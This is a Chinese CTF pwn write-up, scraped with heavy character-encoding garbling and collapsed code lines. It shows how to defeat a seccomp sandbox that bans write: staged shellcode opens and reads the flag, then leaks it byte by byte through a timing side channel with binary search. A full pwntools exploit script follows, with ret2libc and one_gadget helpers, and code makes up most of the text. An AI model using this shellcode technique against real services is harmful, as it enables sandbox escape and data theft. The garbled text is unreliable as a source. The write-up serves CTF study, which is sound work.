【pwn】记一道shellcode侧信道攻击
【pwn】記一道shellcode側(cè)信道攻擊
前言
契機(jī)來(lái)源于K0nashi師傅給的一道題目,讓我來(lái)寫(xiě)寫(xiě)shellcode,那當(dāng)然是寫(xiě)啊!
分析
checksec之后發(fā)現(xiàn)保護(hù)全開(kāi),打開(kāi)ida分析發(fā)現(xiàn)有沙箱,直接查看沙箱
可以使用read open,不能使用write,并且判斷了A < 0x40000000。
再進(jìn)入ida看看
先mmap一段可執(zhí)行的chunk,然后可以寫(xiě)入0x18長(zhǎng)度的shellcode,最后設(shè)立沙箱規(guī)則之后執(zhí)行我們剛剛寫(xiě)入的shellcode。
那么一種新的思路就是側(cè)信道攻擊
簡(jiǎn)單來(lái)說(shuō)就是我們先open flag,然后read flag到stack上,通過(guò)逐一對(duì)比stack上的字符來(lái)判斷我們爆破的flag字符是否正確,正確就loop循環(huán),不正確就直接exit。
這點(diǎn)類似于web題目中的布爾盲注,當(dāng)然我們這里也用到了時(shí)間盲注,根據(jù)是否eof來(lái)判斷是否正確。
做法
首先由于0x18的shellcode的限制,我們不可能在這里完成read和open,所以先在0x18的地方寫(xiě)入一段read的shellcode,讓我們可以讀如更多的shellcode
我們先動(dòng)調(diào)一下,發(fā)現(xiàn)我們寫(xiě)入的第一段shellcode會(huì)寫(xiě)入0x10000這個(gè)mmap的起始地點(diǎn),并且我們寫(xiě)入了0x18的長(zhǎng)度的shellcode,rip最后會(huì)到0x10018的地方,所以我們讓read寫(xiě)入的地址為0x10018就可以了
def setread():global io# rdi rsi rdx rcx# read(0,&0x10018,0x250)shellcode = '''push 0x250pop rdxxor rsi,rsimov rsi,0x10018xor rdi,rdixor rax,raxsyscall'''shellcode = asm(shellcode)rl()s(shellcode)sleep(0.3)然后我們可以寫(xiě)入0x250長(zhǎng)度的shellcode,我們先open flag,再讀取flag,這點(diǎn)直接用shellcraft就可以做到
orw_payload = shellcraft.open('flag') orw_payload += shellcraft.read(3,'rsp',0x100)接下來(lái)就是重點(diǎn)了,我們需要寫(xiě)入一段shellcode來(lái)判斷我們爆破的flag是否正確,這里要用到匯編中的jz或者使用二分法,ja來(lái)判斷。
在這里強(qiáng)調(diào)一點(diǎn),目前網(wǎng)上絕大部分的有關(guān)shellcode的爆破都是通過(guò)jz來(lái)判斷是否相同,而wjh師傅使用了二分法的ja來(lái)縮小爆破時(shí)間和次數(shù),我這里參考了wjh師傅的第五屆 “藍(lán)帽杯” Final PWN、RE Writeup,中的secretcode的exp寫(xiě)法。
這里是我寫(xiě)的比較方法(基于二分法)
orw_payload += f'''mov dl,byte ptr [rsp+{i}]mov cl,{mid}cmp dl,clja loopmov al,0x3csyscallloop:jmp loop'''完整的pwn函數(shù)
def pwn():global ioflag = "flag{"count = 1for i in range (len(flag),0x20):left = 0right = 127while left < right:setread()mid = (left + right) >> 1orw_payload = shellcraft.open('flag')orw_payload += shellcraft.read(3,'rsp',0x100)orw_payload += f'''mov dl,byte ptr [rsp+{i}]mov cl,{mid}cmp dl,clja loopmov al,0x3csyscallloop:jmp loop'''orw_payload = asm(orw_payload)sl(orw_payload)start_time = time.time()try:io.recv(timeout=0.25)if time.time() - start_time > 0.1:left = mid + 1except:right = midio.close()clear()info(f"time-->{count}")info(flag)count += 1io = getprocess()flag += chr(left)info(flag)if flag[-1] == "}":break我們的判斷條件就是這個(gè)時(shí)間間隔是否大于了0.1,大于0.1可以證明進(jìn)入了loop循環(huán),那么我們的結(jié)果就是正確的,所以left = mid + 1縮小范圍,直到left == right就是我們需要的flag正確字符
exp
#!/usr/bin/python3 # -*- coding: UTF-8 -*- # ----------------------------------- # @File : exp.py # @Author : woodwhale # @Time : 2021/10/15 13:49:57 # -----------------------------------from pwn import * from LibcSearcher import * import sys, subprocess, warnings, osfrom pwnlib.adb.adb import shelldef ret2libc(addr,func,binary=null):libc = LibcSearcher(func,addr) if binary == null else binarylibc.address = addr - libc.dump(func) if binary == null else addr-libc.sym[func]system = libc.address+libc.dump('system') if binary == null else libc.sym['system']binsh = libc.address+libc.dump('str_bin_sh') if binary == null else next(libc.search(b'/bin/sh'))leak('libc_base',libc.address)leak('system',system)leak('binsh',binsh)return(system,binsh)def hack(pwn):global io,binary,libctimes = 0while True:try:times += 1clear()info(f'time --> {times}')pwn()except:io.close()io = getprocess()def init(binary):global arglen, elf, path , libc, context, ioarglen = len(sys.argv)warnings.filterwarnings('ignore')context.terminal = ['gnome-terminal','-x', 'bash','-c']elf = ELF(binary)path = libcpath(binary)libc = ELF(path)libc.path = pathcontext.arch = elfbit(binary)io = getprocess()s = lambda data : io.send(data) sa = lambda rv,data : io.sendafter(rv,data) sl = lambda data : io.sendline(data) sla = lambda rv,data : io.sendlineafter(rv,data) r = lambda num : io.recv(num) rl = lambda keepends=True : io.recvline(keepends) ru = lambda data,drop=True,time=null : io.recvuntil(data,drop) if time == null else io.recvuntil(data,drop,time) ia = lambda : io.interactive() l32 = lambda : u32(ru(b'\xf7',False)[-4:].ljust(4,b'\x00')) l64 = lambda : u64(ru(b'\x7f',False)[-6:].ljust(8,b'\x00')) uu32 = lambda data : u32(data.ljust(4,b'\x00')) uu64 = lambda data : u64(data.ljust(8,b'\x00')) i16 = lambda data : int(data,16) leak = lambda name,addr : log.success('\033[33m{}\033[0m = \033[31m{:#x}\033[0m'.format(name, addr)) info = lambda data : log.info(f'\033[36m{data}\033[0m') pau = lambda : pause() if DEBUG else null dbg = lambda point=null : (gdb.attach(io) if point == null else gdb.attach(io,f'b *{point}')) if DEBUG else null og = lambda path=null : list(map(int,subprocess.check_output(['one_gadget','--raw','-f',libc.path]).decode().strip('\n').split(' '))) if path == null else list(map(int,subprocess.check_output(['one_gadget','--raw','-f',path]).decode().strip('\n').split(' '))) rg = lambda binary,only,grep : i16(subprocess.check_output([f"ROPgadget --binary {binary} --only '{only}' | grep {grep}"],shell=True).decode().split(' ')[0]) setlibc = lambda leak,func : leak - libc.sym[func] elfbit = lambda binary : 'i386' if subprocess.check_output(['file',binary]).decode().split(' ')[2] == '32-bit' else 'amd64' libcpath = lambda binary : subprocess.check_output(['ldd',binary]).decode().replace(' ', '').split('\n')[1].split(' ')[2] if GLIBC else subprocess.check_output(['ls | grep libc*.so'],shell=True).decode().strip('\n').split('\n')[0] proce = lambda binary,libc=null : process(binary) if GLIBC else process(binary,env={'LD_PRELOAD':'./'+libc}) getprocess = lambda : proce(binary,path) if arglen == 1 else (remote(sys.argv[1].split(':')[0],sys.argv[1].split(':')[1]) if arglen == 2 else remote(sys.argv[1],sys.argv[2])) clear = lambda : os.system('clear')# context.log_level='debug' DEBUG = 1 GLIBC = 1 binary = './chall' init(binary)def setread():global io# rdi rsi rdx rcx# read(0,&0x10018,0x250)shellcode = '''push 0x250pop rdxxor rsi,rsimov rsi,0x10018xor rdi,rdixor rax,raxsyscall'''shellcode = asm(shellcode)rl()s(shellcode)sleep(0.3)def pwn():global ioflag = "flag{"count = 1for i in range (len(flag),0x20):left = 0right = 127while left < right:setread()mid = (left + right) >> 1orw_payload = shellcraft.open('flag')orw_payload += shellcraft.read(3,'rsp',0x100)orw_payload += f'''mov dl,byte ptr [rsp+{i}]mov cl,{mid}cmp dl,clja loopmov al,0x3csyscallloop:jmp loop'''orw_payload = asm(orw_payload)sl(orw_payload)start_time = time.time()try:io.recv(timeout=0.25)if time.time() - start_time > 0.1:left = mid + 1except:right = midio.close()clear()info(f"time-->{count}")info(flag)count += 1io = getprocess()flag += chr(left)info(flag)if flag[-1] == "}":breakpwn() ia()最終僅僅使用了半分鐘爆破126次就get flag了
總結(jié)
以上是生活随笔為你收集整理的【pwn】记一道shellcode侧信道攻击的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 美好的十年工程师生涯
- 下一篇: 软件开发测试验收通知书,软件验收报告(共